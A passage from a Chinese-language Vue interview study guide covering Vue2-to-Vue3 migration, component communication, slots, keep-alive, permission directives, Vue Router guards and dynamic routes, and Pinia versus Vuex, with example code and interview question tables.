const formatDate = (val, fmt) => dayjs(val).format(fmt);
// 或者用 computed(有缓存,适合频繁渲染)
const displayAmount = computed(() => formatCurrency(props.amount));
</script>
4.8 其他重要差异
① v-model 的变化(组件双向绑定)
<!-- Vue2:一个组件只能一个 v-model,多个要用 .sync -->
<Child v-model="title" />
<!-- 等价于 <Child :value="title" @input="title = $event" /> -->
<Child :name.sync="name" :age.sync="age" />
<!-- 等价于 <Child :name="name" @update:name="name = $event" ... /> -->
<!-- Vue3:支持多个 v-model,语法统一 -->
<Child v-model="title" /> <!-- 默认 modelValue -->
<Child v-model:name="name" v-model:age="age" /> <!-- 具名 ✅ -->
<!-- 子组件接收 -->
<script setup>
const props = defineProps({
modelValue: String, // 默认的 v-model
name: String, // v-model:name
age: Number // v-model:age
});
const emit = defineEmits(['update:modelValue', 'update:name', 'update:age']);
function updateName(val) { emit('update:name', val); }
</script>
还可以自定义修饰符:
<Child v-model.capitalize="text" />
<script setup>
const props = defineProps({
modelValue: String,
modelModifiers: { default: () => ({}) } // 修饰符会传到这里
});
const emit = defineEmits(['update:modelValue']);
function onInput(e) {
let val = e.target.value;
if (props.modelModifiers.capitalize) {
val = val.charAt(0).toUpperCase() + val.slice(1);
}
emit('update:modelValue', val);
}
</script>
② 异步组件
// Vue2
const AsyncComp = () => import('./Comp.vue');
// Vue3:defineAsyncComponent + 完整状态管理
import { defineAsyncComponent } from 'vue';
const AsyncComp = defineAsyncComponent({
loader: () => import('./Comp.vue'),
loadingComponent: LoadingSpinner, // 加载中显示
errorComponent: ErrorDisplay, // 加载失败显示
delay: 200, // 延迟多久显示 loading(避免闪烁)
timeout: 10000 // 超时
});
配合路由懒加载(你的项目用得上):
// router/index.js —— 打包时每个路由单独成一个 chunk,首屏只加载必要代码
const routes = [
{ path: '/chat', component: () => import('@/views/ChatPage.vue') },
{ path: '/docs', component: () => import('@/views/DocManage.vue') },
{ path: '/dashboard', component: () => import('@/views/Dashboard.vue') } // ECharts 单独打包
];
③ key 的变化
<!-- Vue2:v-if/v-else 分支要手动加 key,避免复用 -->
<div v-if="isEdit" key="edit">编辑中</div>
<div v-else key="view">查看中</div>
<!-- Vue3:自动生成不同的 key,不用手动加 ✅ -->
<div v-if="isEdit">编辑中</div>
<div v-else>查看中</div>
<!-- ⚠️ 但 v-for 的 key 依然必须加 -->
<div v-for="item in list" :key="item.id"></div>
④ 全局 API 变化
// Vue2:全局单例(多个 Vue 实例会互相污染)
import Vue from 'vue';
Vue.use(ElementUI);
Vue.prototype.$http = axios;
Vue.component('MyComp', MyComp);
new Vue({ render: h => h(App) }).$mount('#app');
// Vue3:createApp 返回独立实例(隔离,支持多个应用共存)
import { createApp } from 'vue';
const app = createApp(App);
app.use(ElementPlus);
app.config.globalProperties.$http = axios; // 原型属性改名
app.component('MyComp', MyComp);
app.mount('#app');
为什么要改: Vue2 的全局 API 会影响所有 Vue 实例(测试时多个实例互相污染);Vue3 用 createApp 创建独立应用实例,互不影响。
4.9 Vue2 → Vue3 迁移实战(面试话术)
如果面试官问“你有 Vue2 迁移 Vue3 的经验吗”,用这段回答。
迁移步骤(我们项目的实际路径):
1. 评估:先升到 Vue 2.7(反向移植了 Composition API),让新旧写法共存
↓
2. 渐进式改造:新页面用 Composition API 写,老页面保持 Options API(Vue3 兼容两种写法)
↓
3. 替换废弃 API:
- $set/$delete → 直接赋值/delete(都不用调方法了)
- filter → computed 或工具函数
- $on/$off 事件总线 → mitt
- beforeDestroy → onBeforeUnmount
↓
4. 依赖升级:
- Element UI → Element Plus(组件名从 el-xxx 基本不变,但部分 API 有差异)
- Vuex → Pinia(去掉 mutations,actions 里直接改 state)
- Vue Router 3 → 4(createRouter + createWebHistory)
- vue-cli → Vite(配置文件从 vue.config.js 换成 vite.config.ts)
↓
5. 回归测试 + 性能验证
我遇到的三个实际坑(这段最有说服力,体现真实经验):
坑1:Element UI 升级 Element Plus 后,图标全没了。 Vue2 时代 Element UI 内置图标字体,直接
<i class="el-icon-edit">就能用;Element Plus 把图标拆成了独立包@element-plus/icons-vue,必须单独安装并逐个注册(或用unplugin-icons自动引入)。我们的处理是按需注册用到的十几个图标,避免全量引入增大体积。坑2:Vuex 的
mutations在 Pinia 里没了,一开始不习惯。 Vuex 强制“同步改 state 走 mutation,异步走 action”,Pinia 直接去掉了 mutation,在 action 里可以随便改 state(同步异步都行)。这其实简化了代码——原来一个简单的赋值都要写 mutation,现在state.count++一行搞定。改造时我们把 mutation 的逻辑合并进 action,代码量少了约 30%。坑3:深度监听失效。 Vue2 里
watch(obj, handler, {deep:true})能监听整个对象;Vue3 里如果 watch 一个reactive对象,默认就是深度的,但如果 watch 的是ref包的对象,需要显式加deep: true。我们有处配置项监听因此没触发,排查了半天。后来统一写watch(() => ({...state}), handler, {deep:true})解决。
第四章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | Vue2 和 Vue3 的区别?(开放题,按 4.1 表格答) | ⭐⭐⭐⭐⭐ |
| 2 | Vue3 响应式为什么用 Proxy?解决了 Vue2 什么问题? | ⭐⭐⭐⭐⭐ |
| 3 | Options API 和 Composition API 的区别?各自优缺点? | ⭐⭐⭐⭐⭐ |
| 4 | 为什么要有 Composition API?mixin 有什么问题? | ⭐⭐⭐⭐ |
| 5 | Vue3 性能提升体现在哪些方面? | ⭐⭐⭐⭐ |
| 6 | 什么是 Tree-shaking?Vue3 怎么实现的? | ⭐⭐⭐⭐ |
| 7 | 什么是 PatchFlag?Block Tree 是什么? | ⭐⭐⭐⭐⭐ |
| 8 | Vue3 生命周期和 Vue2 的对应关系? | ⭐⭐⭐ |
| 9 | Teleport 是什么?解决什么问题? | ⭐⭐⭐⭐ |
| 10 | Fragment 解决了什么问题? | ⭐⭐⭐ |
| 11 | Vue3 移除了哪些 API?filter 用什么替代? | ⭐⭐⭐⭐ |
| 12 | v-model 在 Vue3 有什么变化?怎么实现多个? | ⭐⭐⭐⭐ |
| 13 | Vue3 支持 IE11 吗?为什么? | ⭐⭐⭐⭐ |
| 14 | 你有 Vue2 迁移 Vue3 的经验吗?遇到过什么坑? | ⭐⭐⭐⭐⭐ |
| 15 | createApp 和 Vue2 的 new Vue() 有什么区别? | ⭐⭐⭐⭐ |
| 16 | Suspense 是做什么的?生产环境能用吗? | ⭐⭐⭐ |
第五章:组件化与通信
5.1 组件通信全方式(7 种,按场景选择)
面试常问“组件通信有哪些方式”,要能一口气说出 7 种并说明各自场景。
组件关系与对应方案:
父组件 ─────────────────────────────► 子组件
props(父传子)①
◄── emit(子传父)②
v-model(双向语法糖)③
父组件 ────────► 孙组件(跨多层)
provide / inject(依赖注入)④
$attrs(属性透传)⑥
任意组件之间
Pinia 状态管理 ⑤
事件总线 mitt ⑦
父组件直接调子组件方法
ref / defineExpose
① props / emit(父子通信,最基础)
<!-- 父组件 InstructionPage.vue -->
<template>
<InstructionForm
:instruction="currentInstruction" <!-- 父 → 子:传数据 -->
:disabled="!canEdit"
@submit="handleSubmit" <!-- 子 → 父:监听事件 -->
@cancel="handleCancel"
/>
</template>
<script setup>
import { ref } from 'vue';
const currentInstruction = ref({ id: 1, amount: 0, type: 'PAY' });
const canEdit = ref(true);
function handleSubmit(formData) {
console.log('子组件提交的数据', formData);
// 调后端接口保存
}
function handleCancel() { /* 关闭表单 */ }
</script>
<!-- 子组件 InstructionForm.vue -->
<script setup>
// 声明 props(支持类型校验、默认值、必填)
const props = defineProps({
instruction: {
type: Object,
required: true,
default: () => ({})
},
disabled: { type: Boolean, default: false }
});
// 声明 emit(Vue3 支持类型化)
const emit = defineEmits(['submit', 'cancel']);
function onSubmit() {
// ❌ 不要直接改 props!props 是只读的
// props.instruction.amount = 100;
// ✅ 通过 emit 通知父组件去改
emit('submit', { ...props.instruction, amount: 100 });
}
</script>
<template>
<el-form :model="instruction" :disabled="disabled">
<el-button @click="onSubmit">提交</el-button>
<el-button @click="emit('cancel')">取消</el-button>
</el-form>
</template>
⚠️ 单向数据流(必考):
父组件 state ──props──► 子组件
▲ │
└──────emit事件────────┘
数据只能从父流向子(props 只读),子要改必须 emit 通知父改。
原因:如果子能直接改,多个子共享同一份数据时,改动的源头无法追溯,调试困难。
② v-model(双向绑定语法糖)
<!-- 父组件:v-model 语法糖 -->
<SearchInput v-model="keyword" />
<!-- 等价于: -->
<SearchInput
:modelValue="keyword"
@update:modelValue="keyword = $event"
/>
<!-- 具名 v-model(Vue3 支持多个) -->
<SearchInput v-model:keyword="kw" v-model:dateRange="range" />
<!-- 子组件 SearchInput.vue -->
<script setup>
const props = defineProps({ modelValue: String });
const emit = defineEmits(['update:modelValue']);
// 计算属性中转(getter 读 props,setter 发事件)← 优雅写法
const innerValue = computed({
get: () => props.modelValue,
set: (val) => emit('update:modelValue', val)
});
</script>
<template>
<!-- 直接用 v-model 绑到 computed 上 -->
<el-input v-model="innerValue" placeholder="搜索文档" />
</template>
③ provide / inject(跨层级依赖注入)
解决“props 层层透传”的痛点——爷爷给孙子的东西,不用经过爸爸。
❌ props 层层透传(中间组件被迫接收不需要的属性)
Root ──props──► Parent ──props──► Child ──props──► GrandChild
(Parent/Child 根本不用这些数据,纯当搬运工)
✅ provide / inject(直接跨层)
Root ─────── provide ──────────────► GrandChild
inject
<!-- 祖先组件 App.vue -->
<script setup>
import { provide, ref, readonly } from 'vue';
const user = ref({ id: 1, name: '朱宏晖', roles: ['admin'] });
const theme = ref('dark');
// 提供数据(后代任意层级都能注入)
provide('currentUser', readonly(user)); // ★ readonly 防止后代乱改
provide('theme', theme);
// 同时提供修改方法(受控修改)
provide('updateUser', (newUser) => { user.value = newUser; });
</script>
<!-- 任意后代组件(不管隔几层) -->
<script setup>
import { inject } from 'vue';
const user = inject('currentUser');
const theme = inject('theme');
// 带默认值(祖先没提供时用)
const locale = inject('locale', ref('zh-CN'));
</script>
<template>
<div :class="theme">当前用户:{{ user.name }}</div>
</template>
⚠️ 注意: provide/inject 会让组件耦合变紧(不知道数据哪来的),适合“全局配置”类数据(主题、用户信息、语言),不适合业务数据流。业务数据用 Pinia。
④ Pinia(全局状态管理,见 6.3 节详解)
⑤ 事件总线 mitt(极少用)
// Vue2 用 this.$on/$emit 做事件总线,Vue3 移除了,改用第三方 mitt
import mitt from 'mitt';
export const emitter = mitt();
// A 组件发事件
emitter.emit('docDeleted', { id: 1 });
// B 组件监听
onMounted(() => {
emitter.on('docDeleted', handleDeleted);
});
onUnmounted(() => {
emitter.off('docDeleted', handleDeleted); // ★ 必须清理,否则内存泄漏
});
⚠️ 建议: 大部分场景用 Pinia 或 props/emit 就够了,事件总线会让数据流难以追踪,能不用就不用。
⑥ $attrs(属性透传)
<!-- 场景:封装 el-input,但不想一个个声明 props -->
<!-- 子组件 MyInput.vue -->
<script setup>
// 不声明任何 props
defineOptions({ inheritAttrs: false }); // 禁止自动挂到根元素
</script>
<template>
<div class="my-input-wrapper">
<!-- v-bind="$attrs" 把父组件传来的所有属性透传给内部 el-input -->
<el-input v-bind="$attrs" />
</div>
</template>
<!-- 父组件使用:placeholder/clearable 等自动透传 -->
<MyInput placeholder="请输入" clearable maxlength="100" />
⑦ ref / defineExpose(父调子方法)
<!-- 子组件 -->
<script setup>
import { ref } from 'vue';
const formData = ref({});
function validate() { /* 校验逻辑 */ return true; }
function reset() { formData.value = {}; }
// ★ Vue3 中 <script setup> 默认是封闭的,必须显式暴露父组件才能访问
defineExpose({ validate, reset, formData });
</script>
<!-- 父组件 -->
<script setup>
const formRef = ref(null);
async function submit() {
const valid = await formRef.value.validate(); // 调子组件方法
if (valid) { /* 提交 */ }
}
</script>
<template>
<MyForm ref="formRef" />
<el-button @click="submit">提交</el-button>
</template>
⚠️ Vue3 变化: <script setup> 组件默认不暴露任何东西,必须用 defineExpose 显式声明(Vue2 里父组件能通过 $refs 直接访问子组件所有属性)。
5.2 插槽 Slot(组件内容分发)
小白讲解: 插槽就是“组件的占位符”——父组件可以把任意内容塞进子组件的指定位置。类比:子组件是个相框,插槽是相框的开口,父组件决定放什么照片。
三种插槽
<!-- ① 默认插槽 -->
<!-- 子组件 Card.vue -->
<template>
<div class="card">
<slot></slot> <!-- 父组件传的内容放这里 -->
</div>
</template>
<!-- 父组件 -->
<Card>
<p>这是卡片内容</p> <!-- 自动填进 <slot> -->
</Card>
<!-- ② 具名插槽(多个位置) -->
<!-- 子组件 Dialog.vue -->
<template>
<div class="dialog">
<header><slot name="header">默认标题</slot></header> <!-- 有默认内容 -->
<main><slot></slot></main> <!-- 默认插槽 -->
<footer><slot name="footer"></slot></footer>
</div>
</template>
<!-- 父组件 -->
<Dialog>
<template #header> <!-- # 是 v-slot: 的简写 -->
<h3>删除确认</h3>
</template>
<p>确定要删除这条指令吗?</p> <!-- 没写 template 的就是默认插槽 -->
<template #footer>
<el-button @click="ok">确定</el-button>
</template>
</Dialog>
<!-- ③ 作用域插槽(子传数据给插槽内容)★ 重点 -->
<!-- 子组件 DataTable.vue:把每行数据暴露给父组件,让父决定怎么渲染 -->
<template>
<table>
<tr v-for="(item, index) in data" :key="item.id">
<!-- 把 item/index 作为插槽的属性传给父组件 -->
<slot :row="item" :index="index" :column="columns">
<!-- 默认渲染(父组件没提供插槽内容时用) -->
{{ item }}
</slot>
</tr>
</table>
</template>
<!-- 父组件:通过解构拿到子组件的数据 -->
<DataTable :data="docList">
<template #default="{ row, index }">
<td>{{ index + 1 }}</td>
<td>{{ row.fileName }}</td>
<td>
<!-- 父组件完全控制这一格怎么渲染 -->
<el-tag :type="row.status === 'DONE' ? 'success' : 'info'">
{{ row.status }}
</el-tag>
</td>
</template>
</DataTable>
你的项目实战(指令列表的状态列):
<!-- 用作用域插槽让不同页面自定义操作列 -->
<InstructionTable :data="list">
<template #actions="{ row }">
<!-- 复核页面只有"复核"按钮 -->
<el-button v-if="row.status === 'REVIEWING'" @click="review(row)">复核</el-button>
<!-- 出款页面只有"出款"按钮 -->
<el-button v-if="row.status === 'APPROVED'" @click="pay(row)">出款</el-button>
</template>
</InstructionTable>
Element Plus 的 el-table 就是典型的作用域插槽:
<el-table :data="tableData">
<el-table-column label="文件名" prop="fileName" />
<el-table-column label="操作">
<template #default="{ row, $index }">
<!-- row = 当前行数据,$index = 行索引 -->
<el-button @click="edit(row)">编辑</el-button>
<el-button @click="del(row, $index)">删除</el-button>
</template>
</el-table-column>
</el-table>
5.3 keep-alive(组件缓存)
作用: 缓存不活动的组件实例,保留状态、避免重新渲染。
<template>
<!-- 切换 tab 时组件不销毁,保留滚动位置、表单内容等 -->
<KeepAlive :include="['ChatPage', 'DocManage']" :max="5">
<component :is="currentComponent" />
</KeepAlive>
</template>
属性:
| 属性 | 说明 |
|---|---|
include |
只缓存指定组件(用组件 name 匹配) |
exclude |
排除指定组件 |
max |
最多缓存多少个(超出销毁最久未用的,LRU) |
生命周期:
onActivated(() => {
// 组件被激活(从缓存中恢复显示)
chart?.resize(); // 重新计算图表尺寸
startPolling(); // 恢复轮询
});
onDeactivated(() => {
// 组件失活(被缓存起来,但没销毁)
stopPolling(); // 暂停轮询,省资源
});
⚠️ 注意: 被 keep-alive 缓存的组件不会触发 onUnmounted,所以清理逻辑要放在 onDeactivated 里(或者同时写两处)。
你的项目场景: 能源大屏页面切换后回来,图表要重新 resize(因为缓存期间容器尺寸可能变了),轮询要恢复。
5.4 自定义指令
// main.js 全局注册
app.directive('focus', {
mounted(el) { el.focus(); }
});
// 使用:<input v-focus />
// 局部注册(<script setup> 中,变量名必须是 vXxx)
const vPermission = {
mounted(el, binding) {
// binding.value 是指令的值
const { value: requiredPerm } = binding;
const userPerms = store.permissions;
if (!userPerms.includes(requiredPerm)) {
el.remove(); // 没有权限就移除元素
// 或 el.style.display = 'none'
}
}
};
// 使用:<el-button v-permission="'instruction:delete'">删除</el-button>
按钮级权限指令(你的项目一写了“按钮级权限控制”):
// directives/permission.js
import { useUserStore } from '@/stores/user';
export const permission = {
mounted(el, binding) {
const { value } = binding; // v-permission="'doc:delete'"
const userStore = useUserStore();
const permissions = userStore.permissions; // ['doc:add', 'doc:delete', ...]
if (value && value instanceof Array && value.length > 0) {
const hasPermission = permissions.some(p => value.includes(p));
if (!hasPermission) {
el.parentNode?.removeChild(el); // 无权限直接移除 DOM
}
} else {
throw new Error('需要指定权限标识,如 v-permission="[\'doc:delete\']"');
}
}
};
// 使用
<el-button v-permission="['instruction:delete']">删除指令</el-button>
<el-button v-permission="['instruction:audit']">审核</el-button>
自定义指令的钩子:
| 钩子 | 时机 |
|---|---|
created |
元素属性初始化前 |
beforeMount |
插入 DOM 前 |
mounted |
插入 DOM 后(最常用) |
beforeUpdate |
更新前 |
updated |
更新后 |
beforeUnmount |
卸载前 |
unmounted |
卸载后(清理) |
5.5 组件封装实践(简历可讲的案例)
案例1:金额输入组件(资产托管项目)
<!-- components/AmountInput.vue -->
<script setup lang="ts">
import { computed } from 'vue';
interface Props {
modelValue: string; // 后端 BigDecimal 序列化成 String
precision?: number; // 小数位数
max?: number; // 最大值
disabled?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
precision: 2, max: 999999999999, disabled: false
});
const emit = defineEmits(['update:modelValue']);
// 展示用:格式化成千分位
const displayValue = computed(() => {
if (!props.modelValue) return '';
return Number(props.modelValue).toLocaleString('zh-CN', {
minimumFractionDigits: props.precision,
maximumFractionDigits: props.precision
});
});
function handleInput(e: Event) {
const input = e.target as HTMLInputElement;
// ① 只允许数字和小数点
let val = input.value.replace(/[^\d.]/g, '');
// ② 只保留一个小数点
const parts = val.split('.');
if (parts.length > 2) val = parts[0] + '.' + parts.slice(1).join('');
// ③ 限制小数位数
if (parts[1]?.length > props.precision) {
val = parts[0] + '.' + parts[1].slice(0, props.precision);
}
// ④ 限制最大值
if (Number(val) > props.max) val = String(props.max);
input.value = val;
emit('update:modelValue', val); // 传原始字符串给后端(避免精度丢失)
}
</script>
<template>
<el-input
:model-value="displayValue"
:disabled="disabled"
@input="handleInput"
placeholder="请输入金额"
>
<template #prefix>¥</template>
</el-input>
</template>
为什么这么设计(面试话术): “资产托管系统涉及真实资金,金额输入必须做严格校验。我们封装了金额组件:① 过滤非数字字符;② 只允许一个小数点;③ 限制小数位数(默认 2 位,符合金额规范);④ 超过上限自动截断。关键是传给后端的始终是原始字符串,因为 Java BigDecimal 序列化成 String 能避免 JS 双精度浮点在大额场景丢精度——展示时格式化成千分位,但提交的是原始值。”
案例2:ECharts 图表组件封装(能源大屏项目)
详细实现见第七章 7.8 节,这里先看封装思路。
// composables/useChart.js —— 把 ECharts 的初始化/更新/销毁/自适应封装成可复用的逻辑
import { ref, onMounted, onUnmounted, onActivated, onDeactivated, nextTick } from 'vue';
import * as echarts from 'echarts';
export function useChart(optionGetter) {
const chartRef = ref(null);
let chart = null;
let resizeObserver = null;
onMounted(async () => {
await nextTick(); // 等容器渲染完(必须有尺寸)
chart = echarts.init(chartRef.value);
chart.setOption(optionGetter());
// 容器尺寸变化自动 resize(比监听 window.resize 更准)
resizeObserver = new ResizeObserver(() => chart?.resize());
resizeObserver.observe(chartRef.value);
});
onUnmounted(() => {
resizeObserver?.disconnect();
chart?.dispose(); // ★ 必须销毁,否则内存泄漏
chart = null;
});
// keep-alive 场景
onActivated(() => chart?.resize());
onDeactivated(() => { /* 可暂停动画 */ });
// 外部更新数据
function updateOption(newOption) {
chart?.setOption(newOption); // 增量更新(不用重新 init)
}
return { chartRef, updateOption, getChart: () => chart };
}
第五章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | 组件通信有哪些方式?各自适用什么场景? | ⭐⭐⭐⭐⭐ |
| 2 | 什么是单向数据流?为什么要这样设计? | ⭐⭐⭐⭐ |
| 3 | v-model 的原理?Vue3 怎么实现多个 v-model? | ⭐⭐⭐⭐ |
| 4 | provide/inject 的优缺点?适合什么场景? | ⭐⭐⭐⭐ |
| 5 | 插槽有哪几种?作用域插槽解决什么问题? | ⭐⭐⭐⭐ |
| 6 | keep-alive 的作用?生命周期怎么变? | ⭐⭐⭐⭐ |
| 7 | Vue3 中父组件怎么调用子组件的方法? | ⭐⭐⭐⭐ |
| 8 | $attrs 是什么?有什么用? |
⭐⭐⭐ |
| 9 | 怎么实现按钮级权限控制? | ⭐⭐⭐⭐ |
| 10 | 自定义 directive 的钩子有哪些? | ⭐⭐⭐ |
第六章:路由与状态管理
6.1 Vue Router
两种路由模式
| hash 模式 | history 模式 | |
|---|---|---|
| URL 样子 | http://xx.com/#/docs |
http://xx.com/docs |
| 原理 | 监听 hashchange 事件 |
HTML5 history.pushState API |
| 刷新 404 | ❌ 不会(# 后的不发给服务器) |
⚠️ 会(服务器没这个路径) |
| 服务端配置 | 不需要 | 需要(Nginx 配 try_files) |
| 兼容性 | 好 | IE10+ |
| 锚点功能 | ❌ 冲突 | ✅ |
import { createRouter, createWebHashHistory, createWebHistory } from 'vue-router';
const router = createRouter({
history: createWebHistory(), // history 模式(推荐,URL 干净)
// history: createWebHashHistory(), // hash 模式(不需要服务端配合)
routes: [...]
});
⚠️ history 模式 404 的解决(Nginx 配置):
location / {
root /usr/share/nginx/html;
index index.html;
try_files $uri $uri/ /index.html; # ★ 找不到就返回 index.html,交给前端路由
}
原理: 用户直接访问 /docs 时,Nginx 找不到这个静态文件,就返回 index.html,前端 Router 接管后根据 URL 渲染对应页面。
路由守卫(权限控制的核心)
导航流程:
① 导航被触发
② 调用失活组件的 beforeRouteLeave 守卫
③ 调用全局 beforeEach 守卫 ★ 权限判断在这里
④ 调用重用组件的 beforeRouteUpdate
⑤ 调用路由配置的 beforeEnter
⑥ 解析异步路由组件
⑦ 调用激活组件的 beforeRouteEnter
⑧ 调用全局 beforeResolve
⑨ 导航被确认
⑩ 调用全局 afterEach 守卫 ★ 这里没有 next,导航已完成
⑪ 触发 DOM 更新
// router/index.js
router.beforeEach((to, from, next) => {
// to: 即将进入的路由 from: 即将离开的路由
const token = localStorage.getItem('token');
const userStore = useUserStore();
// ① 未登录且不是登录页 → 跳登录
if (!token && to.path !== '/login') {
next({ path: '/login', query: { redirect: to.fullPath } }); // 记住原地址
return;
}
// ② 已登录但访问登录页 → 跳首页
if (token && to.path === '/login') {
next({ path: '/' });
return;
}
// ③ 权限校验(路由元信息里配了 roles)
if (to.meta.roles && !to.meta.roles.some(r => userStore.roles.includes(r))) {
next({ path: '/403' }); // 无权限
return;
}
// ④ 动态标题
document.title = to.meta.title ? `${to.meta.title} - 知识库助手` : '知识库助手';
// ⑤ 进度条
NProgress.start();
next(); // ★ 必须调用,否则导航卡住
});
router.afterEach((to, from) => {
NProgress.done(); // 结束进度条
// 埋点上报页面访问
});
⚠️ 常见错误:忘记调用 next() 导致页面白屏。
路由懒加载(首屏优化)
const routes = [
{
path: '/dashboard',
// 打包时单独成 chunk,访问时才加载(ECharts 体积大,必须懒加载)
component: () => import('@/views/Dashboard.vue'),
meta: { title: '监控大屏', roles: ['admin'] }
},
{
path: '/chat',
component: () => import(/* webpackChunkName: "rag" */ '@/views/ChatPage.vue'),
meta: { title: '智能问答' }
}
];
原理: import() 返回 Promise,构建工具会把它单独打包成一个 JS 文件,访问该路由时才发起请求加载。
6.2 权限路由(你的项目一写了“按钮级权限”)
两种权限粒度:
① 页面级权限(菜单/路由):没权限就看不到菜单、访问路由被拦截
→ 用路由守卫 + 动态路由
② 按钮级权限(操作):菜单能看到,但某些按钮(删除/审核)不显示
→ 用自定义指令 v-permission(见 5.4)
动态路由(后端返回菜单,前端动态注册)
// 方案:登录后根据后端返回的权限列表,动态生成可访问的路由
// ① 定义全部路由表(含权限标识)
export const asyncRoutes = [
{ path: '/instruction', component: Layout, meta: { roles: ['instruction:view'] },
children: [
{ path: 'list', component: () => import('@/views/instruction/List.vue'),
meta: { roles: ['instruction:view'] } },
{ path: 'audit', component: () => import('@/views/instruction/Audit.vue'),
meta: { roles: ['instruction:audit'] } } // 只有审核员能访问
]
},
{ path: '/admin', component: Layout, meta: { roles: ['admin'] },
children: [/* 管理员页面 */] }
];
// ② 递归过滤出当前用户有权访问的路由
function filterRoutes(routes, userPerms) {
return routes.filter(route => {
if (!route.meta?.roles) return true; // 没配权限 → 公开
const hasPerm = route.meta.roles.some(r => userPerms.includes(r));
if (hasPerm && route.children) {
route.children = filterRoutes(route.children, userPerms); // 递归子路由
}
return hasPerm;
});
}
// ③ 登录后动态添加
const userStore = useUserStore();
const accessibleRoutes = filterRoutes(asyncRoutes, userStore.permissions);
accessibleRoutes.forEach(route => router.addRoute(route));
// ⚠️ 注意:addRoute 添加的路由,刷新页面会丢失
// 解决:把权限信息存 Pinia + 持久化,刷新时重新 addRoute
6.3 Pinia vs Vuex
Vue3 官方推荐 Pinia,Vuex 已停止新功能开发。面试要能说清为什么。
核心区别
| Vuex (Vue2) | Pinia (Vue3) | |
|---|---|---|
| mutations | ✅ 必须(同步改 state) | ❌ 移除(action 里直接改) |
| modules | 需要嵌套 modules(复杂) | 扁平的多个 store(简单) |
| TypeScript | 支持差(类型推导困难) | ✅ 原生 TS,类型完美推导 |
| 代码量 | 多(state/mutations/actions 三段) | 少(state + actions) |
| 异步 | actions 里异步,mutations 同步 | actions 里同步异步都行 |
| 语法 | this.$store.commit('xxx') |
直接 store.xxx = value |
代码对比
// ============ Vuex 写法(繁琐)============
// store/user.js
export default {
namespaced: true,
state: () => ({
userInfo: null,
permissions: []
}),
mutations: { // ← 同步改 state,样板代码
SET_USER_INFO(state, info) { state.userInfo = info; },
SET_PERMISSIONS(state, perms) { state.permissions = perms; }
},
actions: { // ← 异步逻辑
async fetchUserInfo({ commit }) {
const res = await api.getUserInfo();
commit('SET_USER_INFO', res.data); // 必须 commit
commit('SET_PERMISSIONS', res.data.roles);
}
},
getters: {
isAdmin: state => state.permissions.includes('admin')
}
};
// 组件中使用
import { mapState, mapActions } from 'vuex';
export default {
computed: { ...mapState('user', ['userInfo']) },
methods: { ...mapActions('user', ['fetchUserInfo']) }
};
// ============ Pinia 写法(简洁)============
// stores/user.js
import { defineStore } from 'pinia';
import { ref, computed } from 'vue';
export const useUserStore = defineStore('user', () => {
// ① state(用 ref)
const userInfo = ref(null);
const permissions = ref([]);
const token = ref(localStorage.getItem('token') || '');
// ② getters(用 computed)
const isAdmin = computed(() => permissions.value.includes('admin'));
const userName = computed(() => userInfo.value?.name ?? '未登录');
// ③ actions(普通函数,同步异步都行,直接改 state)
async function fetchUserInfo() {
const res = await api.getUserInfo();
userInfo.value = res.data; // ← 直接改!不用 commit
permissions.value = res.data.roles;
}
function logout() {
userInfo.value = null;
permissions.value = [];
token.value = '';
localStorage.removeItem('token');
}
return { userInfo, permissions, token, isAdmin, userName, fetchUserInfo, logout };
});
// 组件中使用
import { useUserStore } from '@/stores/user';
const userStore = useUserStore();
userStore.fetchUserInfo();
console.log(userStore.userName); // ✅ 类型完美推导
userStore.logout();
⚠️ 解构 store 会丢失响应式,要用 storeToRefs:
import { storeToRefs } from 'pinia';
const userStore = useUserStore();
// ❌ 直接解构:userName 是普通值,不会响应
const { userName } = userStore;
// ✅ 用 storeToRefs(只转换 state/getters,函数不用转)
const { userName, permissions } = storeToRefs(userStore);
console.log(userName.value); // 需要 .value
// 函数可以直接解构(不需要响应式)
const { fetchUserInfo } = userStore;
持久化(刷新后数据不丢)
// 方案1:手动同步 localStorage
token.value = localStorage.getItem('token') || '';
watch(token, (val) => localStorage.setItem('token', val));
// 方案2:用插件 pinia-plugin-persistedstate
import piniaPluginPersistedstate from 'pinia-plugin-persistedstate';
const pinia = createPinia();
pinia.use(piniaPluginPersistedstate);
export const useUserStore = defineStore('user', () => { /* ... */ }, {
persist: {
key: 'user-store',
paths: ['token', 'userInfo'], // 只持久化部分字段(敏感数据不存)
storage: sessionStorage // 用 sessionStorage 更安全
}
});
6.4 Pinia 实战(你的 RAG 项目)
// stores/chat.js —— 对话状态管理
import { defineStore } from 'pinia';
import { ref, computed } from 'vue';
export const useChatStore = defineStore('chat', () => {
// ===== state =====
const messages = ref([]); // 对话记录
const sessions = ref([]); // 会话列表
const currentSessionId = ref(null);
const generating = ref(false); // 是否正在生成(全局,控制输入框禁用)
// ===== getters =====
const currentMessages = computed(() =>
messages.value.filter(m => m.sessionId === currentSessionId.value)
);
const hasGenerating = computed(() => generating.value);
// ===== actions =====
function addMessage(msg) {
messages.value.push({
id: crypto.randomUUID(),
sessionId: currentSessionId.value,
createTime: Date.now(),
...msg
});
}
// SSE 流式更新最后一条消息(你的核心场景)
function appendToLastMessage(chunk) {
const last = messages.value[messages.value.length - 1];
if (last && last.role === 'assistant') {
last.content += chunk; // 响应式自动刷新界面(打字机效果)
}
}
function createSession() {
const id = crypto.randomUUID();
sessions.value.push({ id, title: '新对话', createTime: Date.now() });
currentSessionId.value = id;
return id;
}
function clearCurrentSession() {
messages.value = messages.value.filter(m => m.sessionId !== currentSessionId.value);
}
return {
messages, sessions, currentSessionId, generating,
currentMessages, hasGenerating,
addMessage, appendToLastMessage, createSession, clearCurrentSession
};
}, {
persist: { paths: ['sessions', 'messages'] } // 刷新后对话记录还在
});
第六章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | hash 和 history 路由模式的区别? | ⭐⭐⭐⭐ |
| 2 | history 模式刷新 404 怎么解决? | ⭐⭐⭐⭐ |
| 3 | 路由守卫有哪些?执行顺序? | ⭐⭐⭐⭐ |
| 4 | 怎么实现动态路由和权限控制? | ⭐⭐⭐⭐⭐ |
| 5 | 页面级权限和按钮级权限怎么实现? | ⭐⭐⭐⭐ |
| 6 | 路由懒加载的原理和好处? | ⭐⭐⭐⭐ |
| 7 | Pinia 和 Vuex 的区别?为什么用 Pinia? | ⭐⭐⭐⭐ |
| 8 | Pinia 解构为什么会丢失响应式?怎么解决? | ⭐⭐⭐⭐ |
